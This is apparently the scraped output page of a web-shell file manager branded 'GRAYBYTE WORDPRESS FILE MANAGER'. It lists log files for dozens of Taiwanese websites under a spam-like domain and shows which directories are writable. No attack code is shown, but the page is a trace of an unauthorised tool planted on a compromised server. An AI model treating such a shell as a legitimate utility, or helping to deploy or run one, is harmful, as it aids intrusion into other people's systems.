Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]

𝗛𝗢𝗠𝗘
Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]

[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
12 Sep 2026 10.01 AM
root / wheel
0711
ba-guo.com.tw.blackpussy06.men
303.576 KB
12 Sep 2026 10.01 AM
root / blackpussy06
0640
ba-guo.com.tw.blackpussy06.men-ssl_log
7.41 MB
12 Sep 2026 10.09 AM
root / blackpussy06
0640
beauty-dental.com.tw.blackpussy06.men
237.667 KB
12 Sep 2026 10.01 AM
root / blackpussy06
0640
beauty-dental.com.tw.blackpussy06.men-ssl_log
5.7 MB
12 Sep 2026 10.08 AM
root / blackpussy06
0640
besth2o.com.tw.blackpussy06.men
369.446 KB
12 Sep 2026 10.01 AM
root / blackpussy06
0640
besth2o.com.tw.blackpussy06.men-ssl_log
5.61 MB
12 Sep 2026 10.08 AM
root / blackpussy06
0640
bestjudy.com.tw.blackpussy06.men
186.998 KB
12 Sep 2026 10.08 AM
root / blackpussy06
0640
bestjudy.com.tw.blackpussy06.men-ssl_log
5.39 MB
12 Sep 2026 10.09 AM
root / blackpussy06
0640
bestzyx.com.tw.blackpussy06.men
347.14 KB
12 Sep 2026 10.01 AM
root / blackpussy06
0640
bestzyx.com.tw.blackpussy06.men-ssl_log
6.43 MB
12 Sep 2026 10.09 AM
root / blackpussy06
0640
betcity.com.tw.blackpussy06.men
228.266 KB
12 Sep 2026 10.01 AM
root / blackpussy06
0640
betcity.com.tw.blackpussy06.men-ssl_log
4.98 MB
12 Sep 2026 10.08 AM
root / blackpussy06
0640
bfl.com.tw.blackpussy06.men
603.679 KB
12 Sep 2026 10.01 AM
root / blackpussy06
0640
bfl.com.tw.blackpussy06.men-ssl_log
3.5 MB
12 Sep 2026 10.09 AM
root / blackpussy06
0640
bft.com.tw.blackpussy06.men
358.192 KB
12 Sep 2026 10.01 AM
root / blackpussy06
0640
bft.com.tw.blackpussy06.men-ssl_log
4.97 MB
12 Sep 2026 10.08 AM
root / blackpussy06
0640
big-wife.com.tw.blackpussy06.men
729.463 KB
12 Sep 2026 10.01 AM
root / blackpussy06
0640
big-wife.com.tw.blackpussy06.men-ssl_log
6.1 MB
12 Sep 2026 10.07 AM
root / blackpussy06
0640
biotaiwan.com.tw.blackpussy06.men
675.26 KB
12 Sep 2026 10.01 AM
root / blackpussy06
0640
biotaiwan.com.tw.blackpussy06.men-ssl_log
5.21 MB
12 Sep 2026 10.08 AM
root / blackpussy06
0640
bioway88.com.tw.blackpussy06.men
202.132 KB
12 Sep 2026 10.01 AM
root / blackpussy06
0640
bioway88.com.tw.blackpussy06.men-ssl_log
4.93 MB
12 Sep 2026 10.09 AM
root / blackpussy06
0640
blackpussy06.men
738.937 KB
12 Sep 2026 10.09 AM
root / blackpussy06
0640
blackpussy06.men-ssl_log
18.47 MB
12 Sep 2026 9.45 AM
root / blackpussy06
0640
bodbooks.com.tw.blackpussy06.men
446.288 KB
12 Sep 2026 10.01 AM
root / blackpussy06
0640
bodbooks.com.tw.blackpussy06.men-ssl_log
4.93 MB
12 Sep 2026 10.08 AM
root / blackpussy06
0640
bogroup.com.tw.blackpussy06.men
351.526 KB
12 Sep 2026 10.01 AM
root / blackpussy06
0640
bogroup.com.tw.blackpussy06.men-ssl_log
818.234 KB
12 Sep 2026 10.01 AM
root / blackpussy06
0640
booking-wise2.com.tw.blackpussy06.men
567.11 KB
12 Sep 2026 10.01 AM
root / blackpussy06
0640
booking-wise2.com.tw.blackpussy06.men-ssl_log
4.37 MB
12 Sep 2026 10.09 AM
root / blackpussy06
0640
bossini.com.tw.blackpussy06.men
208.605 KB
12 Sep 2026 10.01 AM
root / blackpussy06
0640
bossini.com.tw.blackpussy06.men-ssl_log
5.55 MB
12 Sep 2026 10.09 AM
root / blackpussy06
0640
broadweb.com.tw.blackpussy06.men
857.896 KB
12 Sep 2026 10.01 AM
root / blackpussy06
0640
broadweb.com.tw.blackpussy06.men-ssl_log
12.62 MB
12 Sep 2026 10.09 AM
root / blackpussy06
0640

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF